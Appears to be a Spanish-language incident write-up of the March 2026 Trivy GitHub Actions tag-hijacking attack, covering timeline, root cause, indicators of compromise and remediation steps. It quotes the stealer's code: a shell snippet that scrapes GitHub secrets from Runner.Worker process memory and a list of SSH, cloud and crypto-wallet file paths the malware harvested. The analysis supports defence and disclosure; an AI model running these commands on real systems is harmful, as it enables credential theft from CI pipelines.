In this article
Compromiso de la cadena de suministro de Trivy en GitHub Actions
Resumen
Qué: Los atacantes hicieron push forzado de código malicioso a 75 de 76 etiquetas de versión en
aquasecurity/trivy-action, y también comprometieronsetup-trivyy el binario Trivy v0.69.4Ventana de exposición: \~12 horas (del 19 de marzo, 17:43 UTC al 20 de marzo, \~05:40 UTC)
Impacto: Robo de secretos de CI/CD mediante la extracción de memoria de procesos del Runner; robo de claves SSH, credenciales de la nube y billeteras de criptomonedas de runners autohospedados
Atribución: TeamPCP (DeadCatx3/PCPcat/ShellForce), un grupo de amenazas que ataca infraestructura nativa de la nube
Causa raíz: Credenciales obtenidas durante un compromiso anterior, el 1 de marzo, que a su vez se originó en un exploit de workflow de
pull_request_targetVersiones seguras: trivy
v0.69.3, trivy-actionv0.35.0, setup-trivyv0.2.6CVE: Aún no asignado (la comunidad solicitó uno)
Acción necesaria: Fija las versiones a SHA de commits y rota todos los secretos de los pipelines si ejecutaste una versión afectada durante ese periodo
El 19 de marzo de 2026, los atacantes hicieron push forzado de código malicioso a 75 de 76 etiquetas de versión en aquasecurity/trivy-action, la GitHub Action oficial de uno de los escáneres de vulnerabilidades de código abierto más utilizados en el ecosistema de seguridad de contenedores. La carga maliciosa robó secretos de CI/CD de forma silenciosa antes de ejecutar el análisis legítimo de Trivy, por lo que los pipelines afectados parecían funcionar con normalidad.
Este fue el segundo compromiso de la infraestructura de Trivy en menos de tres semanas, y el atacante aprovechó credenciales obtenidas durante el primer incidente. Si tu pipeline de CI/CD usa Trivy mediante GitHub Actions, podrías estar afectado. Esto es lo que pasó, cómo comprobarlo y qué hacer al respecto.
Qué pasó
El ataque del 19 de marzo apuntó simultáneamente a tres repositorios de Aqua Security:
aquasecurity/trivy-action: Se reescribieron 75 de 76 etiquetas de versión para que apuntaran a commits maliciosos que incluían un programa para robar credencialesaquasecurity/setup-trivy: Se eliminaron y recrearon siete etiquetas de versiones anteriores con código malicioso; solo v0.2.6 sigue siendo seguraBinario Trivy v0.69.4: Se publicó una versión maliciosa en el repositorio oficial, que se propagó a Docker Hub (
aquasec/trivy:0.69.4), GitHub Container Registry y AWS ECR
El atacante reescribió las etiquetas de versión existentes para que apuntaran a nuevos commits con un entrypoint.sh modificado. Cuando cualquier pipeline de CI/CD obtenía trivy-action mediante una etiqueta (por ejemplo, @v0.34.2, @v0.33.0 o cualquiera de las decenas de versiones anteriores), el punto de entrada malicioso se ejecutaba antes del análisis legítimo de Trivy y robaba credenciales en silencio.
Solo v0.35.0 no se vio afectada. Ya apuntaba al commit HEAD de master que se usó como base para las versiones maliciosas, por lo que la automatización del atacante la omitió.
Cronología de los eventos del 19 de marzo (UTC) [^1]
Hora | Evento |
|---|---|
17:43 | El atacante publica la etiqueta |
17:51 | La cuenta de servicio |
\~18:05 | La automatización de Homebrew detecta v0.69.4 y abre un PR de actualización |
18:26 | Se publican binarios envenenados en GitHub Releases, Docker Hub, GHCR y AWS ECR |
18:30 | El atacante abre el PR #538 en trivy-action para «actualizar la versión predeterminada de Trivy»; al mismo tiempo, se hacen pushes forzados de etiquetas |
\~19:15 | Los sistemas de detección de Socket.dev comienzan a generar entradas para el feed de amenazas |
22:06-22:08 |
|
21:07 | Comienza la respuesta de la comunidad; el mantenedor de Trivy empieza a eliminar las etiquetas envenenadas de setup-trivy |
21:43 | Se publica la versión segura |
23:05 | Se presenta un PR de emergencia para revertir la versión de Homebrew |
23:13 | Se elimina la etiqueta maliciosa v0.69.4 |
00:01-00:08 (20 de marzo) | 47 cuentas de bots publican comentarios basura en el debate sobre el incidente; dos cuentas mencionan a «TeamPCP» por su nombre |
\~05:40 (20 de marzo) | Se restauran todas las etiquetas de trivy-action a commits seguros; se cierra la ventana de exposición |
Cómo comenzó la cadena de ataque
Este fue el desenlace de un ataque de varias etapas que comenzó semanas antes.
Etapa 1: El exploit de pull_request_target (a finales de febrero)
Un actor de amenazas que usaba el identificador de GitHub hackerbot-claw (cuya cuenta se creó el 20 de febrero de 2026) llevó a cabo una campaña automatizada para buscar workflows de GitHub Actions mal configurados en repositorios públicos. La campaña apuntó específicamente a workflows que usaban el evento pull_request_target con permisos de token excesivos. Entre los objetivos estaban Microsoft, DataDog, CNCF y Aqua Security.
El evento pull_request_target es un riesgo conocido en GitHub Actions. A diferencia de pull_request, se ejecuta en el contexto del repositorio base, no del fork. Esto significa que los workflows activados por pull_request_target tienen acceso a los secretos del repositorio base. Si uno de estos workflows también obtiene el código del pull request (el fork), un atacante puede enviar un PR con código malicioso que se ejecuta con acceso a esos secretos.
Analizamos este mismo patrón de ataque en nuestro artículo sobre el ataque a la cadena de suministro de IA de Ultralytics en diciembre de 2024, cuando la inyección de plantillas mediante nombres de ramas permitió a los atacantes ejecutar código arbitrario en contextos de workflows con privilegios.
El repositorio de Trivy tenía un workflow vulnerable de pull_request_target que estaba presente desde octubre de 2025. La herramienta poutine de Boost Security lo había señalado el 29 de noviembre de 2025, más de tres meses antes de que se explotara. El 28 de febrero, hackerbot-claw explotó este workflow para robar un token de acceso personal (PAT) con alcance de organización (ORG_REPO_TOKEN) que pertenecía a la cuenta de servicio aqua-bot. Este PAT se usaba en al menos 33 workflows de la organización de GitHub de Aqua Security.
Etapa 2: Primer compromiso (1 de marzo)
Con el PAT robado, el atacante:
Hizo privado temporalmente el repositorio de Trivy
Eliminó las publicaciones de GitHub entre v0.27.0 y v0.69.1
Publicó una extensión maliciosa de Trivy para VS Code mediante OpenVSX que intentaba abusar de agentes de programación de IA locales
Exfiltró credenciales adicionales del entorno de CI
Aqua Security divulgó el incidente en el debate #10265 de GitHub y comenzó a rotar secretos y tokens. Como señaló después el equipo de Trivy, «el proceso no fue atómico y es posible que los atacantes tuvieran acceso a los tokens renovados».
Etapa 3: Segundo compromiso (19 de marzo)
Veinte días después, el atacante volvió con una carga más compleja: un programa para robar credenciales en varias etapas, atribuido a TeamPCP (también identificado como DeadCatx3, PCPcat y ShellForce), un grupo de amenazas conocido por atacar infraestructura nativa de la nube, con énfasis en el robo de criptomonedas.
Como táctica adicional para obstaculizar la respuesta al incidente, el atacante usó la cuenta comprometida aqua-bot para eliminar el debate original sobre el incidente (#10265), lo que ralentizó la coordinación de la respuesta de la comunidad.
Dentro de la carga maliciosa
El entrypoint.sh inyectado reemplazó el punto de entrada legítimo del análisis de Trivy con un ataque en tres etapas. El «programa para robar datos de la nube de TeamPCP», como se identificaba a sí mismo, empleaba distintas técnicas según el entorno objetivo.
En runners alojados en GitHub
El malware aprovechó el acceso sudo sin contraseña (estándar en los runners alojados en GitHub) para:
Volcar la memoria de los procesos Runner.Worker leyendo
/proc/<pid>/mempara extraer secretos de GitHub Actions almacenados en el heap del runtime de .NETAnalizar los secretos en la memoria, apuntando específicamente a objetos JSON que coincidieran con el patrón
{"value":"<secret>","isSecret":true}Analizar
/proc/*/environpara robar variables de entorno de todos los procesos en ejecución
Esta es la misma técnica de extracción de memoria documentada en el compromiso de tj-actions/changed-files de marzo de 2025. Los secretos que se pasan a los workflows de GitHub Actions se descifran durante la ejecución y quedan en la memoria del proceso Runner, por lo que cualquier código que se ejecute en el mismo entorno de runner puede leerlos.
El script completo para robar datos se compartió en el hilo del issue de trivy-action y se analizó de forma independiente. Esta es la lógica central para extraer memoria:
# Locate Runner.Worker process
runner_pid=$(ps aux | grep 'Runner.Worker' | grep -v grep | awk '{print $2}' | head -1)
# Dump process memory and extract secrets
grep -ao '{"value":"[^"]*","isSecret":true}' /proc/$runner_pid/memEn runners autohospedados
Contra runners autohospedados, el malware realizó un análisis exhaustivo del sistema de archivos en más de 50 rutas sensibles, con el objetivo de encontrar:
Claves SSH y credenciales de Git
Credenciales de proveedores de nube: configuraciones de AWS, GCP y Azure
Tokens de Kubernetes y archivos kubeconfig
Credenciales de Docker y autenticación de registros
Cadenas de conexión a bases de datos
Archivos de estado de Terraform (que suelen contener secretos en texto sin cifrar)
Billeteras de criptomonedas: pares de claves de Bitcoin, Ethereum, Solana y Cardano
Archivos de entorno:
.envy variantesCertificados TLS y claves privadas
Archivos del historial de shell
Configuraciones de VPN
En equipos de desarrolladores
Si se detectaba que el malware no se estaba ejecutando dentro de GitHub Actions (es decir, GITHUB_ACTIONS != "true"), instalaba un mecanismo de persistencia: un dropper de Python escrito en ~/.config/systemd/user/sysmon.py, junto con una unidad de usuario de systemd. El dropper consultaba un endpoint de ICP (Internet Computer Protocol) controlado por el atacante para obtener cargas adicionales.
Exfiltración
Los datos recopilados se cifraban con AES-256-CBC y derivación de claves PBKDF2, se envolvían con relleno RSA-4096 OAEP, se empaquetaban como tpcp.tar.gz y se enviaban mediante HTTPS POST al dominio de typosquatting scan[.]aquasecurtiy[.]org (observa que en «security» se intercambiaron las letras i y t). El servidor C2 estaba en la IP 45.148.10.212, registrada a nombre de TECHOFF SRV LIMITED en Ámsterdam.
Si fallaba el canal principal de exfiltración, el malware tenía dos mecanismos alternativos:
Cloudflare Tunnel: Exfiltración mediante
plug-tab-protective-relay.trycloudflare.comGitHub como buzón oculto: Con el token
INPUT_GITHUB_PATde la propia víctima, el malware creaba un repositorio público llamadotpcp-docsen la cuenta de GitHub de la víctima y subía los datos robados y cifrados como recursos de una versión publicada. Después, el atacante podía encontrar esos repositorios mediante una búsqueda en GitHub.
Todo el alcance del robo de credenciales
El script de Python decodificado para robar datos de setup-trivy (recuperado de una ejecución de workflow capturada) revela el amplio alcance del robo de credenciales. El malware apuntaba a más de 50 rutas del sistema de archivos, entre ellas:
# SSH keys and configs
'/.ssh/id_rsa', '/.ssh/id_ed25519', '/.ssh/id_ecdsa', '/.ssh/authorized_keys'
# Cloud credentials
'/.aws/credentials', '/.aws/config'
'/.config/gcloud/application_default_credentials.json'
'/.azure/*'
'/.kube/config'
# CI/CD and infrastructure secrets
'/.docker/config.json', '/.npmrc', '/.vault-token', '/.netrc'
'terraform.tfvars', 'terraform.tfstate'
# Cryptocurrency wallets (50+ paths)
'/.bitcoin/wallet.dat', '/.ethereum/keystore/*'
'/.config/solana/*', '/.cardano/*.skey'
'/validator-keypair.json', '/vote-account-keypair.json'El script también intentaba acceder a servicios de metadatos de la nube (169.254.169.254, 169.254.170.2) para obtener credenciales de IAM, ejecutaba kubectl get secrets --all-namespaces y buscaba recursivamente claves de API, URL de webhooks y cadenas de conexión a bases de datos.
El binario de Trivy falsificado (v0.69.4)
Además de lo que se robó a los usuarios de la Action, el workflow de publicación comprometido también expuso secretos propios de alto valor de Aqua Security: credenciales de Docker Hub, claves de acceso de AWS ECR, claves de firma GPG (utilizadas para firmar paquetes RPM) y el PAT de GitHub con alcance de organización que se usaba en más de 33 workflows.
El binario de Trivy comprometido adoptó un enfoque distinto. Reescribió el flujo de trabajo de publicación para que hiciera referencia a actions/checkout@70379aad1a8b40919ce8b382d3cd7d0315cde1d0, que parece un pin SHA legítimo, pero en realidad apuntaba a un commit de un fork, no al repositorio real de actions/checkout. Esto aprovecha un comportamiento sutil de la plataforma GitHub: una referencia uses: owner/repo@<hash> no verifica que el hash pertenezca al repositorio indicado. Debido al uso compartido de objetos entre forks de Git, cualquier commit de cualquier fork se puede encontrar mediante su SHA. La compilación descargó del C2 archivos de código fuente Go con puerta trasera, agregó --skip=validate a GoReleaser para omitir la validación de compilación y sobrescribió .golangci.yaml para suprimir las advertencias del linter sobre el código inyectado. Los binarios resultantes ejecutaban el escáner legítimo de Trivy en paralelo con el ladrón de credenciales, por lo que los resultados del análisis parecían normales.
Indicadores para la detección
Los commits maliciosos tenían varias señales reveladoras que, en retrospectiva, hacían evidente la falsificación:
Commits sin firmar: Las versiones originales de Trivy estaban firmadas con GPG mediante la interfaz web de GitHub. Los commits de reemplazo no lo estaban.
Marcas de tiempo imposibles: Los commits falsificados copiaban como marcas de tiempo las fechas de publicación originales, pero sus commits principales eran de marzo de 2026, lo que creaba relaciones imposibles entre las fechas de los commits.
«0 commits a master desde esta versión»: La interfaz de versiones de GitHub mostraba este contador para etiquetas que deberían estar muchas versiones detrás de master, lo que indicaba que cada etiqueta apuntaba a un commit cuyo commit principal era el HEAD actual de master.
Modificaciones de un solo archivo: Cada commit malicioso solo modificaba
entrypoint.sh, a diferencia de los commits originales de varios archivos que suplantaba.
Harden-Runner de StepSecurity detectó conexiones salientes al C2 en más de 12,000 repositorios públicos mediante su plan comunitario, lo que permitió notificar directamente a los proyectos afectados.
Indicadores de compromiso [^2]
Tipo | Valor | Notas |
|---|---|---|
Dominio (C2) |
| Typosquatting: observa que se intercambiaron |
IP |
| TECHOFF SRV LIMITED, Ámsterdam |
Túnel de Cloudflare |
| Exfiltración de respaldo |
Endpoint de ICP |
| C2 del dropper de persistencia |
Commit (trivy-action) |
|
|
Commit (setup-trivy) |
|
|
Repositorio de GitHub (exfiltración) |
| Creado en la cuenta de GitHub de la víctima |
Binario de Trivy (Linux de 64 bits) |
| SHA-256, v0.69.4 |
¿Te afecta?
Podrías estar afectado si:
Tus flujos de trabajo usan
aquasecurity/trivy-actioncon una referencia por etiqueta (por ejemplo,@v0.34.2,@v0.18.0o cualquier etiqueta de versión distinta de@v0.35.0)Tus flujos de trabajo usan
aquasecurity/setup-trivyen cualquier versión distinta de@v0.2.6Descargaste Trivy v0.69.4 mediante descarga directa, Docker (
aquasec/trivy:0.69.4) o GHCR entre el 19 y el 20 de marzo de 2026Alguna de las opciones anteriores se ejecutó durante el período de exposición: del 19 de marzo de 2026 a las 17:43 UTC al 20 de marzo de 2026, aproximadamente a las \~05:40 UTC
El período de exposición confirmado fue de aproximadamente 12 horas. Si tu trivy-action se ejecutó fuera de este período, no te afectó el compromiso de las etiquetas (aunque, de ahora en adelante, debes fijar las acciones a SHA).
Nota sobre las referencias a @master: Cuando preguntaron si los flujos de trabajo fijados a aquasecurity/trivy-action@master eran seguros, el encargado del mantenimiento de Trivy, DmitriyLewen, respondió: «No tenemos información sobre cómo creó el atacante el commit huérfano. Así que no puedo decirte que aquasecurity/trivy-action@master fuera 100 % seguro».
Nota sobre Homebrew: Aunque Homebrew inicialmente obtuvo la versión v0.69.4, compila a partir de archivos tar del código fuente. El binario compilado no tenía una puerta trasera. Aun así, se presentó una solicitud urgente para volver a una versión anterior (Homebrew/homebrew-core#273304).
Cómo verificar
Revisa tus archivos de flujo de trabajo para encontrar referencias a trivy-action:
# Search your repos for trivy-action usage
grep -r "aquasecurity/trivy-action" .github/workflows/
grep -r "aquasecurity/setup-trivy" .github/workflows/Revisa los registros de ejecución de GitHub Actions correspondientes al período afectado. Busca ejecuciones posteriores al 19 de marzo de 2026 a las 17:43 UTC que hayan usado trivy-action.
Busca la alternativa de exfiltración:
# Search your GitHub org for the attacker's dead-drop repos
gh repo list YOUR-ORG --json name -q '.[].name' | grep tpcp-docsRevisa los registros de red para detectar conexiones al dominio C2 (scan[.]aquasecurtiy[.]org) o a la IP (45.148.10.212).
Medidas inmediatas para remediar el problema
1. Deja de usar trivy-action por etiqueta
Elimina o actualiza de inmediato todas las referencias en los flujos de trabajo. Opciones seguras:
# Option A: Pin to a known-safe commit SHA
- uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1
# Option B: Use the only uncompromised tag (verify SHA first)
- uses: aquasecurity/trivy-action@v0.35.0Para setup-trivy, la única versión segura es v0.2.6.
2. Rota todas las credenciales
Si alguna acción afectada se ejecutó en tu pipeline, considera que todos los secretos accesibles para ese flujo de trabajo están comprometidos. Esto incluye:
Tokens de GitHub (tanto
GITHUB_TOKENcomo cualquier PAT)Credenciales de proveedores de nube (claves de acceso de AWS, claves de cuentas de servicio de GCP y credenciales de Azure)
Tokens de registros de contenedores (Docker Hub, GHCR, ECR, etc.)
Claves SSH
Contraseñas de bases de datos
Claves de API y secretos de webhook
3. Busca mecanismos de persistencia del atacante
En ejecutores autohospedados y equipos de desarrolladores, busca el mecanismo de persistencia:
# Check for the TeamPCP dropper
ls -la ~/.config/systemd/user/sysmon.py
systemctl --user list-units | grep sysmon4. Busca la alternativa de exfiltración
Busca en tu organización de GitHub repositorios llamados tpcp-docs. Si encuentras alguno, el atacante logró exfiltrar datos de tu pipeline.
5. Ejecuta el escáner de compromiso
StepSecurity publicó una herramienta específica, trivy-compromise-scanner, que audita los registros de ejecución de flujos de trabajo de GitHub Actions en repositorios o en organizaciones enteras para detectar ejecuciones que usaron una referencia de acción comprometida durante el período del ataque.
Qué ha hecho Aqua Security desde entonces
Tras el incidente, los encargados del mantenimiento de Trivy:
Restablecieron todas las etiquetas de trivy-action con sus commits originales seguros y adoptaron una nueva convención de nombres con el prefijo
v(por ejemplo,0.34.0ahora esv0.34.0)Habilitaron versiones inmutables en los repositorios trivy, trivy-action y setup-trivy, lo que impide que se vuelvan a forzar actualizaciones de etiquetas
Eliminaron todos los artefactos maliciosos de Docker Hub, GHCR, AWS ECR y GitHub Releases
Restringieron las acciones automatizadas y los tokens en toda la organización
Como señaló el encargado del mantenimiento, DmitriyLewen, en el hilo del problema: «Independientemente de los incidentes, siempre es mejor usar hashes de commits».
Se asignó CVE-2026-28353 (CVSS 10.0) al compromiso de la extensión de VS Code del primer incidente, pero no se ha asignado ningún CVE específicamente al ataque de secuestro de etiquetas del 19 de marzo, a pesar de las solicitudes de la comunidad para una divulgación formal. Una vulnerabilidad distinta y anterior (CVE-2026-26189 / GHSA-9p44-j4g5-cfx5, CVSS 5.9), que afectaba la inyección de scripts en la acción compuesta, se corrigió en v0.34.0 antes del ataque a la cadena de suministro.
Harden-Runner de StepSecurity ya presentó alertas de seguridad en proyectos de código abierto afectados, entre ellos Fluent Bit (CNCF), k8gb (DNS de Kubernetes), HL7 FHIR IG Publisher (estándares de atención médica) y Charmed Kubeflow de Canonical.
Lecciones para proteger GitHub Actions
Este incidente, junto con el compromiso de tj-actions/changed-files y el ataque Clinejection al pipeline de CI/CD de Cline, confirma un patrón: los ataques a la cadena de suministro de GitHub Actions son un riesgo recurrente para las organizaciones que usan CI/CD. Si no has auditado recientemente la postura de seguridad de tu pipeline, este es el momento.
Fija las acciones a SHA de commits, no a etiquetas
Las etiquetas son mutables. Cualquiera con acceso de escritura puede hacer un force-push de una etiqueta para que apunte a un commit completamente distinto. Los SHA de los commits son inmutables.
# Vulnerable: tag can be rewritten at any time
- uses: aquasecurity/trivy-action@v0.34.2
# Secure: commit SHA is immutable
- uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1Esta es la defensa más importante contra este tipo de ataque. La guía de refuerzo de seguridad de GitHub recomienda fijar las acciones a SHA de commits completos.
Herramientas como zizmor (análisis estático de flujos de trabajo de GitHub Actions), pinact (fijación automatizada a SHA), secure-repo de StepSecurity y la opción pinGitHubActionDigests de Renovate pueden automatizar este proceso en toda tu organización.
Audita los flujos de trabajo pull_request_target
La causa principal de toda esta cadena de ataques fue un flujo de trabajo pull_request_target mal configurado. Si tus repositorios usan este activador de eventos, audítalos con cuidado:
¿Hace checkout del código de la PR? Si es así, probablemente sea vulnerable.
¿Tiene permisos de escritura o acceso a secretos? Redúcelos al mínimo.
¿Puedes usar
pull_requesten su lugar? En la mayoría de los casos, sí.
El incidente de Ultralytics mostró el mismo patrón de vulnerabilidad. Lo mismo ocurrió con el ataque Clinejection, en el que una inyección de prompts en el título de un problema de GitHub permitió a los atacantes ejecutar código en el contexto de un flujo de trabajo con privilegios.
Usa tokens limitados a repositorios, no PAT con alcance a toda la organización
El token robado ORG_REPO_TOKEN le dio al atacante acceso a más de 33 flujos de trabajo de la organización de Aqua Security. Los tokens limitados a repositorios reducen el impacto de que una sola credencial se vea comprometida. Para la automatización de versiones, es más seguro usar tokens de acceso personal de alcance detallado o tokens de instalación de GitHub App limitados a repositorios específicos.
Monitorea las conexiones de red salientes de CI/CD
Los compromisos de tj-actions y Trivy se detectaron inicialmente mediante actividad de red saliente anómala de los ejecutores de CI. Cabe destacar que los eventos de GitHub Archive no registran las actualizaciones forzadas de etiquetas, lo que representa un punto ciego para la supervisión basada en eventos. Actualmente, la supervisión de red en tiempo de ejecución es la capa de detección más confiable. Herramientas como Harden-Runner de StepSecurity pueden monitorear y restringir el acceso a la red de tus flujos de trabajo de GitHub Actions, y poutine puede analizar organizaciones enteras de GitHub para detectar riesgos en la cadena de suministro de CI/CD.
Exige commits firmados con GPG en las versiones
Los commits maliciosos de este ataque no estaban firmados, mientras que las versiones legítimas sí estaban firmadas con GPG. Verificar las firmas de las etiquetas de versión agrega una capa de protección que dificulta ejecutar este tipo de ataque sin ser detectado.
Aplica una rotación completa de credenciales
El ataque del 19 de marzo explotó credenciales que seguían vigentes tras la rotación posterior al incidente del 1 de marzo, como reconoció Aqua Security. Esto refuerza la lección del incidente de rotación de secretos de CircleCI: ante un compromiso de credenciales:
Rota todas las credenciales de forma atómica (o lo más cerca posible de hacerlo)
Asume que todas las credenciales accesibles desde el entorno comprometido fueron exfiltradas
Verifica la rotación confirmando que las credenciales anteriores quedaron invalidadas, no solo que las nuevas funcionen
El panorama general
Casi exactamente un año después del compromiso de tj-actions/changed-files, volvió a ocurrir el mismo tipo de ataque. Vale la pena examinar las similitudes estructurales:
tj-actions (marzo de 2025) | Trivy (marzo de 2026) | |
|---|---|---|
Método | Etiquetas reescritas para apuntar a commits maliciosos | Etiquetas actualizadas a la fuerza para apuntar a commits maliciosos |
Causa principal | Token comprometido mediante la cadena de reviewdog | PAT comprometido mediante una vulnerabilidad de |
Carga útil | Secretos impresos en texto sin formato en los registros de compilación | Secretos cifrados y exfiltrados al C2 |
Alcance del impacto | \~23,000 repositorios | \~10,000+ archivos de flujo de trabajo con referencias a trivy-action |
CVE | CVE-2025-30066 | Aún no asignado |
El incidente de Trivy muestra cómo se combinan en la práctica los patrones conocidos de ataques a la cadena de suministro. Ninguna vulnerabilidad era nueva:
Las configuraciones incorrectas de
pull_request_targetllevan años documentadasLa mutabilidad de las etiquetas en GitHub Actions es una limitación de diseño conocida
La extracción de memoria de procesos Runner.Worker se observó por primera vez en el compromiso de tj-actions
Los dominios C2 de typosquatting son una técnica de exfiltración común
Lo que hizo eficaz este ataque fue la combinación de estas técnicas en una campaña persistente y de varias etapas. La vulnerabilidad inicial de pull_request_target permitió robar credenciales, que el atacante usó para lanzar un segundo ataque que alcanzó miles de pipelines posteriores.
Para los equipos de seguridad, la conclusión es clara: tu pipeline de CI/CD forma parte de tu superficie de ataque. Las herramientas que se ejecutan en tu pipeline, incluidos los escáneres de seguridad, son dependencias que requieren el mismo nivel de revisión que aplicas a las dependencias de tu aplicación. Proteger tu pipeline de CI/CD merece el mismo rigor que proteger el código de tu aplicación.
Fija tus acciones a los SHA de los commits. Limita el alcance de tus tokens. Rota todos tus secretos. Monitorea el tráfico de red de tus runners. Y si ocurre un incidente, considera comprometida toda credencial a la que se haya podido acceder hasta que puedas confirmar lo contrario.
Esta historia sigue en desarrollo. Para ver las últimas actualizaciones, consulta el comunicado oficial de Aqua Security (discusión #10425).

Cómo usar variables de entorno y secretos de GitHub Actions — Aprende a manejar correctamente los secretos en los flujos de trabajo de GitHub Actions para reducir tu exposición a ataques a la cadena de suministro.
DOCUMENTO TÉCNICO
La crisis de seguridad de IA en tu entorno de Python
Con el ritmo de desarrollo acelerándose a un ritmo vertiginoso, ¿sabes realmente a qué puede acceder tu entorno de IA?